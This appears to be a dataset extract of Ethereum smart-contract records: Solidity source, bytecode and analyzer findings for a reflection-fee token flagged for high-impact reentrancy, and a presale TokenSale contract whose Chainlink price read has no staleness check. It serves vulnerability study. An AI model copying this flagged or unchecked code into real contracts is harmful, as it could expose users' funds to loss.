uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061012e5760003560e01c8063702e3811116100ab578063a9059cbb1161006f578063a9059cbb1461035d578063b515566a1461037d578063ba05e9bc1461039d578063ca72a4e7146103b2578063dd62ed3e146103c5578063e01af92c1461040b57600080fd5b8063702e3811146102b357806370a08231146102d3578063715018a6146102f35780638da5cb5b1461030857806395d89b411461033057600080fd5b806323b872dd116100f257806323b872dd14610217578063273123b714610237578063313ce567146102575780635932ead114610273578063677daa571461029357600080fd5b806306a227d21461013a57806306fdde031461015c578063095ea7b31461019e57806318160ddd146101ce5780631ad34a4f146101f757600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a610155366004611b36565b61041e565b005b34801561016857600080fd5b506040805180820190915260078152664e6f646544414f60c81b60208201525b6040516101959190611b53565b60405180910390f35b3480156101aa57600080fd5b506101be6101b9366004611bcd565b61046f565b6040519015158152602001610195565b3480156101da57600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610195565b34801561020357600080fd5b5061015a610212366004611bf9565b610486565b34801561022357600080fd5b506101be610232366004611c12565b6104f8565b34801561024357600080fd5b5061015a610252366004611c53565b610561565b34801561026357600080fd5b5060405160098152602001610195565b34801561027f57600080fd5b5061015a61028e366004611b36565b6105ac565b34801561029f57600080fd5b5061015a6102ae366004611bf9565b6105f4565b3480156102bf57600080fd5b5061015a6102ce366004611bf9565b610623565b3480156102df57600080fd5b506101e96102ee366004611c53565b610652565b3480156102ff57600080fd5b5061015a610674565b34801561031457600080fd5b506000546040516001600160a01b039091168152602001610195565b34801561033c57600080fd5b506040805180820190915260048152634e44414f60e01b6020820152610188565b34801561036957600080fd5b506101be610378366004611bcd565b6106e8565b34801561038957600080fd5b5061015a610398366004611c86565b6106f5565b3480156103a957600080fd5b5061015a610787565b61015a6103c0366004611c53565b6107d1565b3480156103d157600080fd5b506101e96103e0366004611d4b565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b61015a610419366004611b36565b610b92565b6000546001600160a01b031633146104515760405162461bcd60e51b815260040161044890611d84565b60405180910390fd5b60118054911515600160a01b0260ff60a01b19909216919091179055565b600061047c338484610bda565b5060015b92915050565b6000546001600160a01b031633146104b05760405162461bcd60e51b815260040161044890611d84565b478111156104bb5750475b600080546040516001600160a01b039091169183156108fc02918491818181858888f193505050501580156104f4573d6000803e3d6000fd5b5050565b6000610505848484610cfe565b610557843361055285604051806060016040528060288152602001611fb1602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611059565b610bda565b5060019392505050565b6000546001600160a01b0316331461058b5760405162461bcd60e51b815260040161044890611d84565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105d65760405162461bcd60e51b815260040161044890611d84565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b0316331461061e5760405162461bcd60e51b815260040161044890611d84565b601055565b6000546001600160a01b0316331461064d5760405162461bcd60e51b815260040161044890611d84565b601255565b6001600160a01b03811660009081526002602052604081205461048090611093565b6000546001600160a01b0316331461069e5760405162461bcd60e51b815260040161044890611d84565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061047c338484610cfe565b6000546001600160a01b0316331461071f5760405162461bcd60e51b815260040161044890611d84565b60005b81518110156104f45760016006600084848151811061074357610743611db9565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061077f81611de5565b915050610722565b6000546001600160a01b031633146107b15760405162461bcd60e51b815260040161044890611d84565b60006107bc30610652565b90506107c781611117565b476104f48161117a565b6000546001600160a01b031633146107fb5760405162461bcd60e51b815260040161044890611d84565b6013805460ff19166001179055600f54600160a01b900460ff16156108625760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610448565b600d80546001600160a01b0319166001600160a01b038316908117909155819061089a9030906b033b2e3c9fd0803ce8000000610bda565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108fc9190611e00565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610949573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061096d9190611e00565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156109ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109de9190611e00565b600f80546001600160a01b039283166001600160a01b03199182168117909255600e80549091169091179055600d541663f305d7193430610a1e81610652565b600080610a336000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a9b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ac09190611e1d565b5050600f80546001600160a01b0390811660009081526005602052604090819020805460ff1916600117905582546a295be96e64066972000000601055630101000160a01b63ffff00ff60a01b19821617909355600d54905163095ea7b360e01b8152908216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610b5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b839190611e4b565b50506013805460ff1916905550565b6000546001600160a01b03163314610bbc5760405162461bcd60e51b815260040161044890611d84565b600f8054911515600160b01b0260ff60b01b19909216919091179055565b6001600160a01b038316610c3c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610448565b6001600160a01b038216610c9d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610448565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d625760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610448565b6001600160a01b038216610dc45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610448565b60008111610e265760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610448565b60135460ff1615610e40576000600a819055600b55610e4b565b6002600a556008600b555b6001600160a01b0383163014801590610e7257506011546001600160a01b03838116911614155b8015610e8c57506000546001600160a01b03848116911614155b8015610ea657506000546001600160a01b03838116911614155b15611049576001600160a01b03831660009081526006602052604090205460ff16158015610eed57506001600160a01b03821660009081526006602052604090205460ff16155b610ef657600080fd5b600f546001600160a01b038481169116148015610f215750600d546001600160a01b03838116911614155b8015610f4657506001600160a01b03821660009081526005602052604090205460ff16155b8015610f5b5750600f54600160b81b900460ff165b15610f6f57601054811115610f6f57600080fd5b60135460ff16158015610f8f5750600f546001600160a01b038381169116145b8015610fa95750600d546001600160a01b03848116911614155b8015610fce57506001600160a01b03831660009081526005602052604090205460ff16155b15610fde576002600a908155600b555b600f54600160a81b900460ff161580156110065750600f546001600160a01b03848116911614155b801561101b5750600f54600160b01b900460ff165b1561104957600061102b30610652565b905061103681611117565b478015611046576110464761117a565b50505b6110548383836111b4565b505050565b6000818484111561107d5760405162461bcd60e51b81526004016104489190611b53565b50600061108a8486611e68565b95945050505050565b60006008548211156110fa5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610448565b60006111046111bf565b905061111083826111e2565b9392505050565b600f805460ff60a81b1916600160a81b1790556013805460ff19166001179055601154600160a01b900460ff16156111575761115281611224565b611160565b61116081611471565b506013805460ff19169055600f805460ff60a81b19169055565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156104f4573d6000803e3d6000fd5b6110548383836115cb565b60008060006111cc6116c2565b90925090506111db82826111e2565b9250505090565b600061111083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061170a565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061125957611259611db9565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112d69190611e00565b816001815181106112e9576112e9611db9565b6001600160a01b039283166020918202929092010152600d5461130f9130911684610bda565b600080600061131c611738565b600d5460405163791ac94760e01b815293965091945092506001600160a01b03169063791ac9479061135b908890600090899030904290600401611e7f565b600060405180830381600087803b15801561137557600080fd5b505af1158015611389573d6000803e3d6000fd5b50505050600080600061139a611738565b9194509250905060006113ad858461189b565b905060006113bb858361191a565b90506113dd60646113d76012548461189b90919063ffffffff16565b906111e2565b600f546011549192506113fd916001600160a01b03918216911683610cfe565b600e60009054906101000a90046001600160a01b03166001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561144d57600080fd5b505af1158015611461573d6000803e3d6000fd5b5050505050505050505050505050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106114a6576114a6611db9565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114ff573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115239190611e00565b8160018151811061153657611536611db9565b6001600160a01b039283166020918202929092010152600d5461155c9130911684610bda565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611595908590600090869030904290600401611e7f565b600060405180830381600087803b1580156115af57600080fd5b505af11580156115c3573d6000803e3d6000fd5b505050505050565b6000806000806000806115dd8761195c565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061160f908761191a565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461163e90866119b9565b6001600160a01b03891660009081526002602052604090205561166081611a18565b61166a8483611a62565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116af91815260200190565b60405180910390a3505050505050505050565b60085460009081906b033b2e3c9fd0803ce80000006116e182826111e2565b821015611701575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b6000818361172b5760405162461bcd60e51b81526004016104489190611b53565b50600061108a8486611ef0565b6000806000806000600e60009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015611793573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117b79190611f29565b50915091506000306001600160a01b0316600e60009054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa15801561181b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061183f9190611e00565b6001600160a01b0316149050600081611858578261185a565b835b6001600160701b031690506000826118725784611874565b835b6001600160701b03169050600061188b83836111e2565b9299919850919650945050505050565b6000826118aa57506000610480565b60006118b68385611f79565b9050826118c38583611ef0565b146111105760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610448565b600061111083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611059565b60008060008060008060008060006119798a600a54600b54611a86565b92509250925060006119896111bf565b9050600080600061199c8e878787611ad5565b919e509c509a509598509396509194505050505091939550919395565b6000806119c68385611f98565b9050838110156111105760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610448565b6000611a226111bf565b90506000611a30838361189b565b30600090815260026020526040902054909150611a4d90826119b9565b30600090815260026020526040902055505050565b600854611a6f908361191a565b600855600954611a7f90826119b9565b6009555050565b6000808080611a9a60646113d7898961189b565b90506000611aad60646113d78a8961189b565b90506000611ac582611abf8b8661191a565b9061191a565b9992985090965090945050505050565b6000808080611ae4888661189b565b90506000611af2888761189b565b90506000611b00888861189b565b90506000611b1282611abf868661191a565b939b939a50919850919650505050505050565b8015158114611b3357600080fd5b50565b600060208284031215611b4857600080fd5b813561111081611b25565b600060208083528351808285015260005b81811015611b8057858101830151858201604001528201611b64565b81811115611b92576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114611b3357600080fd5b8035611bc881611ba8565b919050565b60008060408385031215611be057600080fd5b8235611beb81611ba8565b946020939093013593505050565b600060208284031215611c0b57600080fd5b5035919050565b600080600060608486031215611c2757600080fd5b8335611c3281611ba8565b92506020840135611c4281611ba8565b929592945050506040919091013590565b600060208284031215611c6557600080fd5b813561111081611ba8565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611c9957600080fd5b823567ffffffffffffffff80821115611cb157600080fd5b818501915085601f830112611cc557600080fd5b813581811115611cd757611cd7611c70565b8060051b604051601f19603f83011681018181108582111715611cfc57611cfc611c70565b604052918252848201925083810185019188831115611d1a57600080fd5b938501935b82851015611d3f57611d3085611bbd565b84529385019392850192611d1f565b98975050505050505050565b60008060408385031215611d5e57600080fd5b8235611d6981611ba8565b91506020830135611d7981611ba8565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611df957611df9611dcf565b5060010190565b600060208284031215611e1257600080fd5b815161111081611ba8565b600080600060608486031215611e3257600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611e5d57600080fd5b815161111081611b25565b600082821015611e7a57611e7a611dcf565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ecf5784516001600160a01b031683529383019391830191600101611eaa565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f0d57634e487b7160e01b600052601260045260246000fd5b500490565b80516001600160701b0381168114611bc857600080fd5b600080600060608486031215611f3e57600080fd5b611f4784611f12565b9250611f5560208501611f12565b9150604084015163ffffffff81168114611f6e57600080fd5b809150509250925092565b6000816000190483118215151615611f9357611f93611dcf565b500290565b60008219821115611fab57611fab611dcf565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122059c6679ffff544c206f46151031b05bc2e831618d17a1678cc0c39b5859e65f164736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,715 |
0x12e5E41222cB744803A4EAc293b6103f7a4Aa55E
|
/**
*Submitted for verification at Etherscan.io on 2021-07-21
*/
// SPDX-License-Identifier: MIT
/*
* $$$$$$_$$__$$__$$$$__$$$$$$
* ____$$_$$__$$_$$_______$$
* ____$$_$$__$$__$$$$____$$
* $$__$$_$$__$$_____$$___$$
* _$$$$___$$$$___$$$$____$$
*
* $$__$$_$$$$$$_$$$$$__$$_____$$$$$
* _$$$$____$$___$$_____$$_____$$__$$
* __$$_____$$___$$$$___$$_____$$__$$
* __$$_____$$___$$_____$$_____$$__$$
* __$$___$$$$$$_$$$$$__$$$$$$_$$$$$
*
* $$___$_$$$$$$_$$$$$$_$$__$$
* $$___$___$$_____$$___$$__$$
* $$_$_$___$$_____$$___$$$$$$
* $$$$$$___$$_____$$___$$__$$
* _$$_$$_$$$$$$___$$___$$__$$
*
* $$__$$_$$$$$__$$
* _$$$$__$$_____$$
* __$$___$$$$___$$
* __$$___$$_____$$
* __$$___$$$$$__$$$$$$
*/
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
contract TokenSale is Ownable {
address public token;
address public oracle;
uint256 public threshold; // with 1e18
uint256 public initialPrice; // with 1e18
uint256 public tokenPriceUSD; // with 1e18
uint256 public weiRaised; // with 1e18
uint256 public notClaimedTokens; // with 1e18
uint256 public presaleStartsAt;
uint256 public presaleEndsAt;
uint256 public claimStartsAt;
mapping(address => uint256) public contributionInWei;
mapping(address => uint256) public contributionInUSD;
event Withdraw(address indexed owner, uint256 indexed amount);
event BuyTokens(address indexed buyer, uint256 indexed tokens, uint256 indexed pricePerToken, uint256 buyingPower);
event PreBuyTokens(address indexed buyer, uint256 indexed tokens, uint256 indexed pricePerToken, uint256 buyingPower);
event ClaimedTokens(address indexed buyer, uint256 indexed tokens);
constructor(
address _token,
address _oracle,
uint256 _initialPrice,
uint256 _threshold,
uint256 _presaleStartsAt,
uint256 _presaleEndsAt,
uint256 _claimStartsAt
) public {
require(_token != address(0));
require(_oracle != address(0));
require(_initialPrice > 0, "Price should be bigger than 0");
require(_threshold > 0, "Threshold should be bigger than 0");
require(_presaleStartsAt > block.timestamp, "Presale should start now or in the future");
require(_presaleStartsAt < _presaleEndsAt, "Presale cannot start after end date");
require(_presaleEndsAt < _claimStartsAt, "Presale end date cannot be after claim date");
token = _token;
oracle = _oracle;
threshold = _threshold * 1e18;
initialPrice = _initialPrice;
tokenPriceUSD = _initialPrice;
presaleStartsAt = _presaleStartsAt;
presaleEndsAt = _presaleEndsAt;
claimStartsAt = _claimStartsAt;
}
modifier isPresale {
require(block.timestamp >= presaleStartsAt && block.timestamp <= presaleEndsAt, "It's not presale period");
_;
}
modifier hasTokensToClaim {
require(contributionInWei[msg.sender] > 0, "User has NO tokens");
_;
}
modifier claimStart {
require(block.timestamp >= claimStartsAt, "Claim period not started");
_;
}
receive() external payable {
buyTokens();
}
function claimTokens() public claimStart hasTokensToClaim {
uint256 userWeis = contributionInWei[msg.sender];
contributionInWei[msg.sender] = 0;
uint256 _priceInWeiPerToken = getPriceInWeiPerToken(tokenPriceUSD);
uint256 usersTokens = 1e18 * userWeis / _priceInWeiPerToken;
notClaimedTokens -= usersTokens;
IERC20(token).transfer(msg.sender, usersTokens);
emit ClaimedTokens(msg.sender, usersTokens);
}
function withdraw() external onlyOwner {
uint256 amount = address(this).balance;
address payable ownerPayable = payable(msg.sender);
ownerPayable.transfer(amount);
emit Withdraw(msg.sender, amount);
}
function withdrawTokens() external onlyOwner claimStart {
uint256 unsoldTokens = IERC20(token).balanceOf(address(this));
IERC20(token).transfer(msg.sender, unsoldTokens - notClaimedTokens);
}
function buyTokens() public payable isPresale {
uint256 maxTokenPriceUSD = initialPrice * 2**4;
uint256 _priceInWeiPerToken = getPriceInWeiPerToken(tokenPriceUSD);
uint256 tokens = 1e18 * msg.value / _priceInWeiPerToken;
uint256 tokensByMaxPrice = tokens / (maxTokenPriceUSD/tokenPriceUSD);
require(tokens > 0, "Insufficient funds");
uint256 buyLimitTokens = remainingTokensByMaxPrice();
require(buyLimitTokens > tokensByMaxPrice, "There is no more tokens to sell");
uint256 tradeAmountInUSD = tokens * tokenPriceUSD / 1e36; // in USD
contributionInWei[msg.sender] += msg.value;
contributionInUSD[msg.sender] += tradeAmountInUSD;
weiRaised += msg.value;
notClaimedTokens += tokens;
updateTokenPrice(_priceInWeiPerToken);
emit PreBuyTokens(msg.sender, tokens, _priceInWeiPerToken, msg.value);
}
function remainingTokensByMaxPrice() internal returns(uint256) {
uint256 maxTokenPriceUSD = initialPrice * 2**4;
uint256 _priceInWeiPerToken = getPriceInWeiPerToken(maxTokenPriceUSD);
uint256 purchesedTokensByMaxPrice = 1e18 * weiRaised / _priceInWeiPerToken;
return threshold - purchesedTokensByMaxPrice;
}
function remainingTokensByCurrentPrice() public view returns(uint256) {
uint256 _priceInWeiPerToken = getPriceInWeiPerToken(tokenPriceUSD);
uint256 purchesedTokens = 1e18 * weiRaised / _priceInWeiPerToken;
return threshold - purchesedTokens;
}
function updateTokenPrice(uint256 _priceInWeiPerToken) internal {
uint256 purchesedTokens = 1e18 * weiRaised / _priceInWeiPerToken;
while (purchesedTokens > threshold && tokenPriceUSD / initialPrice < 16) {
tokenPriceUSD = tokenPriceUSD * 2;
notClaimedTokens = notClaimedTokens / 2;
purchesedTokens = 1e18 * weiRaised / getPriceInWeiPerToken(tokenPriceUSD);
}
}
function balanceOf(address adr) public view returns(uint256) {
uint256 userWeis = contributionInWei[adr];
uint256 _priceInWeiPerToken = getPriceInWeiPerToken(tokenPriceUSD);
uint256 tokens = 1e18 * userWeis / _priceInWeiPerToken;
return tokens;
}
function getPriceInWeiPerToken(uint256 _tokenPriceUSD) public view returns(uint256) {
int oraclePriceTemp = getLatestPriceETHUSD(); // with 10**getDecimalsOracle()
require(oraclePriceTemp > 0, "Invalid price");
return _tokenPriceUSD * 10**getDecimalsOracle() / uint256(oraclePriceTemp); // result with 1e18
}
function getPriceInWeiPerToken() public view returns(uint256) {
return getPriceInWeiPerToken(tokenPriceUSD);
}
function getLatestPriceETHUSD() public view returns (int) {
(
uint80 roundID,
int price,
uint startedAt,
uint timeStamp,
uint80 answeredInRound
) = AggregatorV3Interface(oracle).latestRoundData();
return price;
}
function getDecimalsOracle() public view returns (uint8) {
(
uint8 decimals
) = AggregatorV3Interface(oracle).decimals();
return decimals;
}
}
|
0x60806040526004361061016a5760003560e01c80636f71c5ea116100d15780638da5cb5b1161008a5780639cdf3007116100645780639cdf3007146104eb578063d0febe4c14610528578063f2fde38b14610532578063fc0c546a1461055b57610179565b80638da5cb5b1461046a5780638e2a95111461049557806395fe863c146104c057610179565b80636f71c5ea1461035a57806370a0823114610397578063715018a6146103d45780637d4833ad146103eb5780637dc0d1d0146104285780638d8f2adb1461045357610179565b8063407fcc3111610123578063407fcc311461026c5780634101a8401461029757806342cde4e8146102c257806348c54b9d146102ed57806354c21fb8146103045780636a4a39e91461032f57610179565b80630419b6521461017e5780631d0806ae146101a95780632e609c10146101d457806332c1410f146101ff5780633ccfd60b1461022a5780634042b66f1461024157610179565b3661017957610177610586565b005b600080fd5b34801561018a57600080fd5b50610193610837565b6040516101a09190611a43565b60405180910390f35b3480156101b557600080fd5b506101be610849565b6040516101cb9190611a43565b60405180910390f35b3480156101e057600080fd5b506101e961084f565b6040516101f69190611a43565b60405180910390f35b34801561020b57600080fd5b50610214610855565b6040516102219190611a5e565b60405180910390f35b34801561023657600080fd5b5061023f610901565b005b34801561024d57600080fd5b50610256610a16565b6040516102639190611a43565b60405180910390f35b34801561027857600080fd5b50610281610a1c565b60405161028e9190611a43565b60405180910390f35b3480156102a357600080fd5b506102ac610a22565b6040516102b99190611a43565b60405180910390f35b3480156102ce57600080fd5b506102d7610a28565b6040516102e49190611a43565b60405180910390f35b3480156102f957600080fd5b50610302610a2e565b005b34801561031057600080fd5b50610319610cc2565b6040516103269190611a43565b60405180910390f35b34801561033b57600080fd5b50610344610cc8565b6040516103519190611a43565b60405180910390f35b34801561036657600080fd5b50610381600480360381019061037c9190611634565b610cce565b60405161038e9190611a43565b60405180910390f35b3480156103a357600080fd5b506103be60048036038101906103b99190611634565b610ce6565b6040516103cb9190611a43565b60405180910390f35b3480156103e057600080fd5b506103e9610d68565b005b3480156103f757600080fd5b50610412600480360381019061040d9190611634565b610ea2565b60405161041f9190611a43565b60405180910390f35b34801561043457600080fd5b5061043d610eba565b60405161044a91906118e4565b60405180910390f35b34801561045f57600080fd5b50610468610ee0565b005b34801561047657600080fd5b5061047f611110565b60405161048c91906118e4565b60405180910390f35b3480156104a157600080fd5b506104aa611139565b6040516104b79190611a43565b60405180910390f35b3480156104cc57600080fd5b506104d5611183565b6040516104e29190611928565b60405180910390f35b3480156104f757600080fd5b50610512600480360381019061050d919061168e565b611241565b60405161051f9190611a43565b60405180910390f35b610530610586565b005b34801561053e57600080fd5b5061055960048036038101906105549190611634565b6112c3565b005b34801561056757600080fd5b5061057061146c565b60405161057d91906118e4565b60405180910390f35b600854421015801561059a57506009544211155b6105d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d0906119a3565b60405180910390fd5b600060106004546105ea9190611c82565b905060006105f9600554611241565b905060008134670de0b6b3a76400006106129190611c82565b61061c9190611ae0565b905060006005548461062e9190611ae0565b826106399190611ae0565b90506000821161067e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067590611983565b60405180910390fd5b6000610688611492565b90508181116106cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106c3906119e3565b60405180910390fd5b60006ec097ce7bc90715b34b9f1000000000600554856106ec9190611c82565b6106f69190611ae0565b905034600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107479190611a8a565b9250508190555080600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461079d9190611a8a565b9250508190555034600660008282546107b69190611a8a565b9250508190555083600760008282546107cf9190611a8a565b925050819055506107df856114ee565b84843373ffffffffffffffffffffffffffffffffffffffff167f7be8b0a14e85fd3f5ddebaa163632ba44986ffffcc767a4842045a48390b320f346040516108279190611a43565b60405180910390a4505050505050565b6000610844600554611241565b905090565b60045481565b60085481565b600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b1580156108c057600080fd5b505afa1580156108d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906